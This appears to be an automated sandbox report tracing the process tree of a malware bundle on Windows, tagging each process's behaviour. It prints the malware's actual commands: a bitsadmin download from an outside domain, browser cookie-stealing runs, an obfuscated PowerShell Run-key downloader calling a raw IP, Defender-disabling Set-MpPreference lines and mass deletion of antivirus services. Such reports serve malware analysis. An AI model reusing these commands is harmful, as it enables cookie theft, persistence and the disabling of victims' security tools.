C:\Users\Admin\Documents\4gaqjB5f8pyUb1xMYoRW5tyv.exe"C:\Users\Admin\Documents\4gaqjB5f8pyUb1xMYoRW5tyv.exe"7⤵
- Modifies data under HKEY_USERS
-
C:\Users\Admin\Documents\ZLWk3blAcv9tMRjjpwTQdTzR.exe"C:\Users\Admin\Documents\ZLWk3blAcv9tMRjjpwTQdTzR.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im ZLWk3blAcv9tMRjjpwTQdTzR.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\ZLWk3blAcv9tMRjjpwTQdTzR.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im ZLWk3blAcv9tMRjjpwTQdTzR.exe /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Documents\qiEnfumGGOe0lbJM9Z0mbe1G.exe"C:\Users\Admin\Documents\qiEnfumGGOe0lbJM9Z0mbe1G.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\TBqzQc94ZWVXs4O1CNShD5xN.exe"C:\Users\Admin\Documents\TBqzQc94ZWVXs4O1CNShD5xN.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\i05s1BAWAI_HrvvdWrNlMSDG.exe"C:\Users\Admin\Documents\i05s1BAWAI_HrvvdWrNlMSDG.exe"6⤵
-
C:\Users\Admin\Documents\Lw59AVnnwEVS2qBkUzd1SH7M.exe"C:\Users\Admin\Documents\Lw59AVnnwEVS2qBkUzd1SH7M.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse763C.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse763C.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse763C.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse763C.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse763C.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse763C.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse763C.tmp\tempfile.ps1"7⤵
- Checks for any installed AV software in registry
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://fsstoragecloudservice.com/data/data.7z C:\zip.7z7⤵
- Download via BitsAdmin
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pQLV9quaGdLErsKh -y x C:\zip.7z -o"C:\Program Files\temp_files\"7⤵
- Drops file in Program Files directory
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pfsY50a76TFlsHmZ -y x C:\zip.7z -o"C:\Program Files\temp_files\"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse763C.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse763C.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse763C.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse763C.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse763C.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\hdvAaRs\hdvAaRs.dll" hdvAaRs7⤵
-
C:\Windows\system32\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\hdvAaRs\hdvAaRs.dll" hdvAaRs8⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse763C.tmp\tempfile.ps1"7⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse763C.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse763C.tmp\tempfile.ps1"7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse763C.tmp\tempfile.ps1"7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nse763C.tmp\tempfile.ps1"7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe"C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT7⤵
-
C:\Users\Admin\Documents\8nBBF6A09bPA8BE6W9t3joo4.exe"C:\Users\Admin\Documents\8nBBF6A09bPA8BE6W9t3joo4.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\7382290.exe"C:\Users\Admin\AppData\Roaming\7382290.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\2532288.exe"C:\Users\Admin\AppData\Roaming\2532288.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\QRtYiYRjCmRwzR_b1hNEkQe6.exe"C:\Users\Admin\Documents\QRtYiYRjCmRwzR_b1hNEkQe6.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\3570645.exe"C:\Users\Admin\AppData\Roaming\3570645.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\6135738.exe"C:\Users\Admin\AppData\Roaming\6135738.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\7H8CXZBybsM4G7UvxEKtGhre.exe"C:\Users\Admin\Documents\7H8CXZBybsM4G7UvxEKtGhre.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-5MIOP.tmp\7H8CXZBybsM4G7UvxEKtGhre.tmp"C:\Users\Admin\AppData\Local\Temp\is-5MIOP.tmp\7H8CXZBybsM4G7UvxEKtGhre.tmp" /SL5="$30260,138429,56832,C:\Users\Admin\Documents\7H8CXZBybsM4G7UvxEKtGhre.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-IPP4L.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-IPP4L.tmp\Setup.exe" /Verysilent8⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameBox INC\GameBox\BotCheck.exe"C:\Program Files (x86)\GameBox INC\GameBox\BotCheck.exe"9⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\BotCheck.exe"C:\Program Files (x86)\GameBox INC\GameBox\BotCheck.exe" -a10⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameBox INC\GameBox\GameBox32Bit.exe"C:\Program Files (x86)\GameBox INC\GameBox\GameBox32Bit.exe"9⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt10⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt10⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt10⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe"C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" /qn CAMPAIGN="710"9⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=710 AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1628093188 /qn CAMPAIGN=""710"" " CAMPAIGN="710"10⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin32.exe"C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin32.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-TRLI4.tmp\GameBoxWin32.tmp"C:\Users\Admin\AppData\Local\Temp\is-TRLI4.tmp\GameBoxWin32.tmp" /SL5="$202E0,506127,422400,C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin32.exe"10⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-HEDV7.tmp\Daldoula.exe"C:\Users\Admin\AppData\Local\Temp\is-HEDV7.tmp\Daldoula.exe" /S /UID=burnerch211⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Drops file in Program Files directory
-
C:\Program Files\Windows Defender\UWEHOWRJWP\ultramediaburner.exe"C:\Program Files\Windows Defender\UWEHOWRJWP\ultramediaburner.exe" /VERYSILENT12⤵
-
C:\Users\Admin\AppData\Local\Temp\is-AMOMN.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-AMOMN.tmp\ultramediaburner.tmp" /SL5="$302FE,281924,62464,C:\Program Files\Windows Defender\UWEHOWRJWP\ultramediaburner.exe" /VERYSILENT13⤵
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu14⤵
-
C:\Users\Admin\AppData\Local\Temp\17-6f98a-47b-5aa91-62167ce0c64df\Qojaenozhezho.exe"C:\Users\Admin\AppData\Local\Temp\17-6f98a-47b-5aa91-62167ce0c64df\Qojaenozhezho.exe"12⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\75-f3787-ef9-90d84-01d3d98f4d463\Loqaborysa.exe"C:\Users\Admin\AppData\Local\Temp\75-f3787-ef9-90d84-01d3d98f4d463\Loqaborysa.exe"12⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hyzyve3g.axn\GcleanerEU.exe /eufive & exit13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0bsqidu1.e2j\installer.exe /qn CAMPAIGN="654" & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\0bsqidu1.e2j\installer.exeC:\Users\Admin\AppData\Local\Temp\0bsqidu1.e2j\installer.exe /qn CAMPAIGN="654"14⤵
- Loads dropped DLL
- Enumerates connected drives
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\0bsqidu1.e2j\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\0bsqidu1.e2j\ EXE_CMD_LINE="/forcecleanup /wintime 1628093188 /qn CAMPAIGN=""654"" " CAMPAIGN="654"15⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sslo1hx3.1qu\ufgaa.exe & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\sslo1hx3.1qu\ufgaa.exeC:\Users\Admin\AppData\Local\Temp\sslo1hx3.1qu\ufgaa.exe14⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt15⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt15⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt15⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt15⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mt2z2m5s.fu0\anyname.exe & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\mt2z2m5s.fu0\anyname.exeC:\Users\Admin\AppData\Local\Temp\mt2z2m5s.fu0\anyname.exe14⤵
-
C:\Users\Admin\AppData\Local\Temp\mt2z2m5s.fu0\anyname.exe"C:\Users\Admin\AppData\Local\Temp\mt2z2m5s.fu0\anyname.exe" -q15⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ujsesxs5.go1\gcleaner.exe /mixfive & exit13⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV114⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\note8876.exe"C:\Program Files (x86)\GameBox INC\GameBox\note8876.exe"9⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global10⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\GameBox.exe"C:\Program Files (x86)\GameBox INC\GameBox\GameBox.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\1835715.exe"C:\Users\Admin\AppData\Roaming\1835715.exe"10⤵
-
C:\Users\Admin\AppData\Roaming\1111657.exe"C:\Users\Admin\AppData\Roaming\1111657.exe"10⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\5124865.exe"C:\Users\Admin\AppData\Roaming\5124865.exe"10⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"11⤵
-
C:\Users\Admin\AppData\Roaming\1530367.exe"C:\Users\Admin\AppData\Roaming\1530367.exe"10⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_6.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\sonia_6.exesonia_6.exe5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_7.exe4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2916 -s 5364⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Checks processor information in registry
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5092 -s 5043⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
- Executes dropped EXE
-
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main2⤵
- Loads dropped DLL
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 4F36C8A4EF23906BF5F588DF10B6E86C C2⤵
- Loads dropped DLL
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 11E974105F38498DB2DC6BB827AC2D4C2⤵
- Blocklisted process makes network request
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 48AA0A20F5D1596D6D5929141DB79E7C E Global\MSI00002⤵
- Loads dropped DLL
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding CE20376C0DD6949E9193FE7D880A5FED C2⤵
- Loads dropped DLL
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding E8D2660F73C13D5D56A9AE0CDD96EDD22⤵
- Blocklisted process makes network request
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 4556EC63DE8B9A5439D436746E984882 E Global\MSI00002⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
-
C:\Users\Admin\AppData\Local\Temp\80D4.exeC:\Users\Admin\AppData\Local\Temp\80D4.exe1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\84AE.exeC:\Users\Admin\AppData\Local\Temp\84AE.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\8D79.exeC:\Users\Admin\AppData\Local\Temp\8D79.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\971E.exeC:\Users\Admin\AppData\Local\Temp\971E.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\A623.exeC:\Users\Admin\AppData\Local\Temp\A623.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\AD0A.exeC:\Users\Admin\AppData\Local\Temp\AD0A.exe1⤵
-
C:\ProgramData\Runtimebroker.exe"C:\ProgramData\Runtimebroker.exe"2⤵
- Drops startup file
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://91''+''.241''+''.19''+''.52/Ru''+''nt''+''im''+''ebr''+''oke''+''r.exe''),(''Vpnm.''+''e''+''xe''));Start-Process (''V''+''p''+''nm.exe'')'3⤵
- Adds Run key to start application
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true3⤵
- Blocklisted process makes network request
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 63⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 03⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 63⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 63⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 23⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" @echo off Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE2.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE1.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP18.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP17.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP16.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP15.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP14.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP13.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP12.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP11.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP10.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MBAMService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAWFwk" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MSK80Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAPExe" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McBootDelayStartSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mccspsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfefire" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\HomeNetSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ModuleCoreService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McMPFSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mcpltsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McProxy" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McODS" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfemms" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAfee SiteAdvisor Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfevtp" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McNaiAnn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\nanosvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\NortonSecurity" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\!SASCORE" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\SBAMSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVAuxSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVCoreSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\QHActiveDefense" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Firewall" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVG Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirMailService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirService" /f Reg Delete 